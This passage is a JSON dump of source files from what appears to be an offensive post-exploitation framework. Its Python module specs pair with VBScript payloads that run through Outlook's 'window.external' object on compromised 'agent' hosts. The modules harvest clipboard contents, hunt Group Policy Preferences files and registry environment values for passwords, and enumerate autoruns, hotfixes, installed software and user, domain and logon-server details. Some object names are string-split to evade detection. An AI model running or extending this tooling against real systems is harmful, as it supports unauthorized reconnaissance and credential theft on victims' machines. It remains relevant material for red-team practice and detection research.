strSubKeyAL & vbCrlf\r\n\t\t\t\tFor Each strSub in arrSectionSub\r\n\t\t\t\t\t\tres = objReg.GetStringValue(2147483650, KeyPathAL & strSubKeyAL & \"\\\" & strSub, \"Value\", outrules)\r\n\t\t\t\t\t\tAppLockerRules = AppLockerRules & outrules & vbCrlf\t\t\t\r\n\t\t\t\tNext\r\n\t\t\tEnd If\r\n\t\t\tALlog = ALlog & \"EnforcementMode for \" & strSubKeyAl & \" Is \" & val  & vbCrlf\r\n\t\tNext\r\n\t\tlist_applocker = ALlog & vbCrlf & AppLockerRules\r\n\tEnd If \r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_autoruns.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates autoruns defined on the agent\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumValues\n        - ConnectServer(root\\cimv2).GetDwordValue\n        - ConnectServer(root\\cimv2).GetStringValue\n        - ConnectServer(root\\cimv2).GetExpandedStringValue\n        - ConnectServer(root\\cimv2).GetBinaryValue\n        - ConnectServer(root\\cimv2).GetMultiStringValue\n        - ConnectServer(root\\cimv2).GetQWORDValue\n\n        It uses Scripting.FileSystemObject\n        - GetFolder\n        - GetFolder().Files\n        - GetBaseName\n        - GetExtensionName\n        \"\"\"\n        self.entry = 'list_autoruns'\n        self.depends = ['./helperFunctions/Getallregvalues.txt', './helperFunctions/Getregvalue.txt', './helperFunctions/dir_lister.txt']\n        self.options['username'] = {\n            \"value\": \"Dummy\",\n            \"required\": True,\n            \"description\": \"Username, autoresolves to agents registered username\",\n            \"handler\": quotedstring,\n            \"hidden\": False\n        }\n        super().__init__(templatepath)\n    \n    def preprocess(self, agent):\n        self.options['username']['value'] = agent.username"
  },
  {
    "path": "functions/enumerate/host/list_autoruns.txt",
    "content": "Function list_autoruns()\r\n\tOn error resume next\r\n\tlist_autoruns = \"HKCU Autoruns:\" & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows\\CurrentVersion\\run\", 64, 2147483649)\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows\\CurrentVersion\\runonce\", 64, 2147483649) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\", 64, 2147483649) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\", 64, 2147483649) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\", 64, 2147483649) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load\", 64, 2147483649) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKCU\", \"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\", 64, 2147483649) & vbCrLf\r\n\tlist_autoruns = list_autoruns & vbCrLf\r\n    \r\n    'HKLM\r\n\tlist_autoruns = list_autoruns & \"HKLM Autoruns:\" & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", 64, 2147483650) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", 32, 2147483650) & vbCrLf\r\n    list_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\", 64, 2147483650) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\", 32, 2147483650) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\", 64, 2147483650) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\", 32, 2147483650) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\", 64, 2147483650) & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\", 64, 2147483650) & vbCrLf\r\n    list_autoruns = list_autoruns & GetAllRegValues(\"HKLM\", \"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\", 64, 2147483650) & vbCrLf\r\n\t\r\n\tlist_autoruns = list_autoruns & GetRegValue(\"HKLM\", \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\", \"Notify\", 64, 2147483650, \"STDREGPROV\") & vbCrLf & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetRegValue(\"HKLM\", \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Userinit\", \"Notify\", 64, 2147483650, \"STDREGPROV\") & vbCrLf & vbCrLf\r\n    list_autoruns = list_autoruns & GetRegValue(\"HKLM\", \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Shell\", \"Notify\", 64, 2147483650, \"STDREGPROV\") & vbCrLf & vbCrLf\r\n\tlist_autoruns = list_autoruns & GetRegValue(\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad\", \"WebCheck\", 64, 2147483650, \"STDREGPROV\") & vbCrLf & vbCrLf\r\n    list_autoruns = list_autoruns & GetRegValue(\"HKLM\", \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\", \"AppInit_DLLs\", 64, 2147483650, \"STDREGPROV\") & vbCrLf & vbCrLf\r\n\r\n\t'Files\r\n\tlist_autoruns = list_autoruns & \"FILE Autoruns:\" & vbCrLf\r\n\tlist_autoruns = list_autoruns & dir_lister(\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\", 0, False, \"*\", \"*\", True, \"mb\") & vbCrLf\r\n\tlist_autoruns = list_autoruns & dir_lister(\"C:\\Users\\\" & {{username}} & \"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\", 0, False, \"*\", \"*\", True, \"mb\") & vbCrLf\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_basic.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom datetime import datetime\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates basic details about the host. It retrieves:\n        - %Computername%\n        - %Username%\n        - %Userdomain%\n        - %Userprofile%\n        - %Userdnsdomain%\n        - %Logonserver%\n        - %Homepath%\n\n        It uses Wscript.Shell\n        - ExpandEnvironmentStrings\n        \"\"\"\n        self.entry = 'list_basic'\n        self.depends = []\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if (\"-VSTO\" not in agent.hostname): # Handle exception when VSTO agents are used\n            agent.hostname = data.split()[3]\n            agent.username = data.split()[1]\n\n"
  },
  {
    "path": "functions/enumerate/host/list_basic.txt",
    "content": "Function list_basic()\r\n\tOn error resume next\r\n\tSet sh = window.external.OutlookApplication.CreateObject(\"Wsc\" & \"ript.Sh\" & \"ell\")\r\n\t\r\n\tgds = sh.ExpandEnvironmentStrings(\"%COMPUTERNAME%\")\r\n\thuj = sh.ExpandEnvironmentStrings(\"%USERNAME%\")\r\n\timd = sh.ExpandEnvironmentStrings(\"%USERDOMAIN%\")\r\n\tfvy = sh.ExpandEnvironmentStrings(\"%USERPROFILE%\")\r\n\tudd = sh.ExpandEnvironmentStrings(\"%USERDNSDOMAIN%\")\r\n\tfah = sh.ExpandEnvironmentStrings(\"%LOGONSERVER%\")\r\n\thyf = sh.ExpandEnvironmentStrings(\"%HOMEPATH%\")\r\n\t\r\n\tIf udd = \"%USERDNSDOMAIN%\" Then\r\n\t\tudd = \"WORKGROUP\"\r\n\tEnd If\r\n\t\r\n\tlist_basic = \"UserName: \" & huj & vbCrLf & \"ComputerName: \" & gds & vbCrLf & \"UserDomain: \" & imd & vbCrLF & \"UserDNSDomain: \" & udd & vbCrLF & \"Logon server: \" & fah & vbCrLF & \"Homepath: \" & hyf & vbCrLF & \"UserProfile: \" & fvy & vbCrLF & vbCrLf\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_boottime.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates last boot time using WMI. \n        It queries LastBootUpTime from Win32_OperatingSystem and converts it to a readable format.\n\n        It uses WbemScripting.SWbemLocator\n        - Query: Select LastBootUpTime from Win32_OperatingSystem\n        \"\"\"\n        self.entry = 'list_boottime'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_boottime.txt",
    "content": "Function list_boottime()\r\n    On error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n    Set objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n    Set col = objWMIService.ExecQuery (\"Select LastBootUpTime from Win32_OperatingSystem\")\r\n\r\n    For Each obj in col\r\n        list_boottime = obj.LastBootUpTime\r\n    Next\r\n\tlist_boottime = ( Left(list_boottime, 4) _\r\n    & \"/\" & Mid(list_boottime, 5, 2) _\r\n    & \"/\" & Mid(list_boottime, 7, 2) _\r\n    & \" \" & Mid(list_boottime, 9, 2) _\r\n    & \":\" & Mid(list_boottime,11, 2) _\r\n    & \":\" & Mid(list_boottime,13, 2))\r\n    list_boottime = \"Last Boot time: \" & list_boottime\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_clipboard.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom datetime import datetime\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Creates a html object and retrieved the content from the clipboard\n\n        It uses htmlfile\n        - ParentWindow.ClipboardData.GetData()\n        \"\"\"\n        self.entry = 'list_clipboard'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_clipboard.txt",
    "content": "Function list_clipboard()\r\n\tOn error resume next\r\n\tSet html = window.external.OutlookApplication.CreateObject(\"htmlfile\")\r\n\ttext = html.ParentWindow.ClipboardData.GetData(\"text\")\r\n\tlist_clipboard = \"Clipboard data retrieved: \" & vbCrLf & text\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_environmentvariables.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Lists interesting registry values that might be passwords \n        or other interesting configuration settings\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumValues\n        - ConnectServer(root\\cimv2).GetDwordValue\n        - ConnectServer(root\\cimv2).GetStringValue\n        - ConnectServer(root\\cimv2).GetExpandedStringValue\n        - ConnectServer(root\\cimv2).GetBinaryValue\n        - ConnectServer(root\\cimv2).GetMultiStringValue\n        - ConnectServer(root\\cimv2).GetQWORDValue\n        \"\"\"\n        self.entry = 'list_environmentvariables'\n        self.depends = ['./helperFunctions/Getallregvalues.txt']\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_environmentvariables.txt",
    "content": "Function list_environmentvariables()\r\n\tOn error resume next\r\n\tlist_environmentvariables = list_environmentvariables & GetAllRegValues(\"HKLM\", \"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\", 64, 2147483650) & vbCrLF & vbCrLF\r\n\tlist_environmentvariables = list_environmentvariables & GetAllRegValues(\"HKCU\", \"Environment\", 64, 2147483649) & vbCrLF & vbCrLF\r\n\tlist_environmentvariables = list_environmentvariables & GetAllRegValues(\"HKCU\", \"Volatile Environment\", 64, 2147483649) & vbCrLF\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_gpp.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.depends = ['./helperFunctions/dir_lister.txt']\n        self.help = \"\"\"\n        Lists Group Policy Preferences files local on host that could contain passwords, configurations or other data.\n        It looks inside C:\\\\Windows\\\\System32\\\\GroupPolicy\\\\DataStore\\\\0\\\\sysvol\\\\domain.com\\\\Policies\\\\ on the local host for the following files\n        Groups.xml\n        Drives.xml\n        Services.xml\n        ScheduledTasks.xml\n        Datasources.xml\n        Printers.xml\n\n        It uses Wscript.Shell\n        - ExpandEnvironmentStrings\n        \n        It uses Scripting.FileSystemObject\n        - FolderExists\n        - GetFolder\n        - GetFolder().Files\n        - GetBaseName\n        - GetExtensionName\n        \"\"\"\n        self.entry = 'list_gpp'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_gpp.txt",
    "content": "Function list_gpp()\n    On error resume next\n    Set sh = window.external.OutlookApplication.CreateObject(\"Wscript.Shell\")\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n    dom = sh.ExpandEnvironmentStrings(\"%USERDNSDOMAIN%\")\n    polpath = \"C:\\Windows\\sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\\" & dom & \"\\Policies\\\"\n    If fs.FolderExists(polpath) = True Then\n        output = \"Found \" & \"C:\\Windows\\sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\\" & dom & \"\\Policies\\\" & vbCrLf\n        output = output & \"Searching for Groups.xml\" & vbCrLf & dir_lister(polpath, 0, 4, \"xml\", \"Groups\", True, \"mb\") & vbCrLf\n        output = output & \"Searching for Drives.xml\" & vbCrLf &dir_lister(polpath, 0, 4, \"xml\", \"Drives\", True, \"mb\") & vbCrLf\n        output = output & \"Searching for Services.xml\" & vbCrLf &dir_lister(polpath, 0, 4, \"xml\", \"Services\", True, \"mb\") & vbCrLf\n        output = output & \"Searching for ScheduledTasks.xml\" & vbCrLf &dir_lister(polpath, 0, 4, \"xml\", \"ScheduledTasks\", True, \"mb\") & vbCrLf\n        output = output & \"Searching for Datasources.xml\" & vbCrLf &dir_lister(polpath, 0, 4, \"xml\", \"Datasources\", True, \"mb\") & vbCrLf\n        output = output & \"Searching for Printers.xml\" & vbCrLf &dir_lister(polpath, 0, 4, \"xml\", \"Printers\", True, \"mb\") & vbCrLf\n    else\n        output = \"Local Policy Folder not found at \" & polpath\n\tEnd If\n    list_gpp = output\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_hostsfile.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module reads the content of the hostsfile under\n        C:\\windows\\system32\\drivers\\etc\\hosts and outputs to the log. \n        This might reveal specific hosts or other domains etc.\n\n        It uses Scripting.FileSystemObject\n        - OpenTextFile\n        - OpenTextFile().ReadFile.ReadAll\n        \"\"\"\n        self.entry = 'list_hostsfile'\n        self.depends = []\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/enumerate/host/list_hostsfile.txt",
    "content": "Function list_hostsfile()\r\n\tOn error resume next\r\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n    If fs.FileExists(\"C:\\Windows\\System32\\drivers\\etc\\hosts\") = True Then\r\n        set ReadFile = fs.OpenTextFile(\"C:\\Windows\\System32\\drivers\\etc\\hosts\", 1)\r\n\t\tcontent = ReadFile.ReadAll\r\n\telse\r\n\t\tcontent = \"Hosts file not found - WTF!\"\r\n\tEnd If\r\n\tlist_hostsfile = \"C:\\Windows\\System32\\drivers\\etc\\hosts:\" & vbCrLf & content\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_hotfixes.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Using WMI it enumerates the installed hotfixes.\n        The Win32_QuickFixEngineering is used (Same as the Powershell cmdlet get-hotfix)\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - Query: Select * from Win32_QuickFixEngineering\n        \"\"\"\n        self.entry = 'list_hotfixes'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_hotfixes.txt",
    "content": "Function list_hotfixes()\r\n\tOn Error Resume Next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\r\n\tSet colItems = objWMIService.ExecQuery(\"Select * from Win32_QuickFixEngineering\",,48)\r\n\tlist_hotfixes = \"HotFixID - Description - InstalledOn\" & vbCrLf\r\n\tFor Each objItem in colItems\r\n\t\tlist_hotfixes = list_hotfixes & objItem.HotFixID & \" - \" & objItem.Description & \" - \" & objItem.InstalledOn & vbCrLf\r\n\tNext\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_installedapps.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the installed applications. \n        It enumerates information from the \n         HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\ \n         &\n         HKLM\\\\SOFTWARE\\\\wow6432node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\ \n         registry keys.\n\n        It uses WbemScripting.SWbemLocator\n        - Add\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumKey\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_installedapps'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_installedapps.txt",
    "content": "Function list_installedapps()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tobjLocator.Add \"__ProviderArchitecture\", 64\r\n\tSet objReg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tKeyPathApps = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" \r\n\tobjReg.EnumKey 2147483650, KeyPathApps, arrSubkeysapps \r\n\tapps = \"Installed 64bits Applications:\" & vbCrLf\r\n\tFor Each strSubkeyapps In arrSubkeysapps\r\n\t\tobjReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, \"DisplayName\", appName\r\n\t\tIf appName <> \"\" Then \r\n\t\t\tobjReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, \"DisplayVersion\", Version\r\n\t\t\tapps = apps & appName & \" | \" & Version & vbCrLf\r\n\t\tEnd If \r\n\tNext \r\n\tapps = apps & vbCrLf & vbCrLf\r\n\r\n\tobjLocator.Add \"__ProviderArchitecture\", 32\r\n\tSet objReg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\tKeyPathApps = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" \r\n\tobjReg.EnumKey 2147483650, KeyPathApps, arrSubkeysapps \r\n\tapps = apps & \"Installed 32bits Applications:\" & vbCrLf\r\n\tFor Each strSubkeyapps In arrSubkeysapps\r\n\t\tobjReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, \"DisplayName\", appName\r\n\t\tIf appName <> \"\" Then \r\n\t\t\tobjReg.GetStringValue 2147483650, KeyPathApps & strSubkeyapps, \"DisplayVersion\", Version\r\n\t\t\tapps = apps & appName & \" | \" & Version & vbCrLf\r\n\t\tEnd If \r\n\tNext \r\n\tlist_installedapps = apps & vbCrLf\r\n\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_installeddotnet.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the installed .NET versions. \n        Based on MS documentation: \n        https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed\n\n        Lists the installed versions\n\n        It uses WbemScripting.SWbemNamedValueSet\n        - Add\n        - Add.__ProviderArchitecture\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumValues\n        - ConnectServer(root\\cimv2).GetDwordValue\n        - ConnectServer(root\\cimv2).GetStringValue\n        - ConnectServer(root\\cimv2).GetExpandedStringValue\n        - ConnectServer(root\\cimv2).GetBinaryValue\n        - ConnectServer(root\\cimv2).GetMultiStringValue\n        - ConnectServer(root\\cimv2).GetQWORDValue\n        \"\"\"\n        self.entry = 'list_installeddotnet'\n        self.depends = ['./helperFunctions/Getregvalue.txt']\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_installeddotnet.txt",
    "content": "Function list_installeddotnet()\r\n\tOn error resume next\r\n\tlist_installeddotnet = \"INSTALLED .NET VERSIONS:\" & vbCrLf\r\n\tx64v1 = GetRegValue(\"HKLM\", \"Software\\Microsoft\\.NETFramework\\Policy\\v1.0\\3705\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx64v11 = GetRegValue(\"HKLM\", \"Software\\Microsoft\\NET Framework Setup\\NDP\\v1.1.4322\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx64v2 = GetRegValue(\"HKLM\", \"Software\\Microsoft\\NET Framework Setup\\NDP\\v2.3.50727\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx64v3 = GetRegValue(\"HKLM\", \"Software\\Microsoft\\NET Framework Setup\\NDP\\v3.0\\Setup\", \"InstallSuccess\", 64, 2147483650, \"STDREGPROV\")\r\n\tx64v35 = GetRegValue(\"HKLM\", \"Software\\Microsoft\\NET Framework Setup\\NDP\\v3.5\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx64v40C = GetRegValue(\"HKLM\", \"Software\\Microsoft\\NET Framework Setup\\NDP\\v4\\Client\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx64v40F = GetRegValue(\"HKLM\", \"Software\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\r\n\tx86v1 = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\.NETFramework\\Policy\\v1.0\\3705\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx86v11 = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\NET Framework Setup\\NDP\\v1.1.4322\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx86v2 = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\NET Framework Setup\\NDP\\v2.3.50727\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx86v3 = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\NET Framework Setup\\NDP\\v3.0\\Setup\", \"InstallSuccess\", 64, 2147483650, \"STDREGPROV\")\r\n\tx86v35 = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\NET Framework Setup\\NDP\\v3.5\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx86v40C = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\NET Framework Setup\\NDP\\v4\\Client\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\tx86v40F = GetRegValue(\"HKLM\", \"Software\\WOW6432Node\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\", \"Install\", 64, 2147483650, \"STDREGPROV\")\r\n\r\n\tif (inStr(1,x64v1,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v1.0 installed\"  & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x64v11,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v1.1 installed\"  & vbCrLf\r\n\tend if\r\n\t\r\n\tif (inStr(1,x64v2,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v2.0 installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x64v3,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v3.0 installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x64v35,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v3.5 installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x64v40C,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v4.0-Client installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x64v40F,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X64 .NET Framework v4.0-Full installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x86v1,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v1.0 installed\"  & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x86v11,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v1.1 installed\"  & vbCrLf\r\n\tend if\r\n\t\r\n\tif (inStr(1,x86v2,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v2.0 installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x86v3,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v3.0 installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x86v35,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v3.5 installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x86v40C,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v4.0-Client installed\" & vbCrLf\r\n\tend if\r\n\r\n\tif (inStr(1,x86v40F,\"Path:\",1) = 1) then\r\n\t\tlist_installeddotnet = list_installeddotnet & \"X86 .NET Framework v4.0-Full installed\" & vbCrLf\r\n\tend if\r\n\r\nEnd Function"
  },
  {
    "path": "functions/enumerate/host/list_installedpowershell.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Enumerates the current installed PowerShell versions on the host using registry.\n\n        It uses WbemScripting.SWbemLocator\n        - ConnectServer(root\\cimv2)\n        - ConnectServer(root\\cimv2).EnumKey\n        - ConnectServer(root\\cimv2).GetStringValue\n        \"\"\"\n        self.entry = 'list_installedpowershell'\n        self.depends = []\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/enumerate/host/list_installedpowershell.txt",
    "content": "Function list_installedpowershell()\r\n\tOn error resume next\r\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\r\n\tSet objReg = objLocator.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\r\n\t\r\n\tkeyps3 = \"SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine\"\r\n\tkeyps1 = \"SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine\"\r\n\r\n\tposhkey = \"SOFTWARE\\Microsoft\\PowerShell\"\r\n\tobjReg.EnumKey 2147483650, keyps1, arrSubKeys\r\n\tobjReg.GetStringValue 2147483650, keyps1, \"PowerShellVersion\", ver2\r\n\r\n\tobjReg.EnumKey 2147483650, keyps3, arrSubKeys\r\n\tobjReg.GetStringValue 2147483650, keyps3, \"PowerShellVersion\", ver3\r\n\r\n\tIf IsNull(ver3) Then\r\n\t\tIf IsNull(ver2) Then\r\n\t\t\tval = \"nothing\"\r\n\t\tElse\r\n\t\t\tval = ver2\r\n\t\tEnd If\r\n\tElse\r\n\t\tval = ver3\r\n\tEnd If\r\n\r\n\tlist_installedpowershell = \"PowerShell Version: \" & val & vbCrlf & 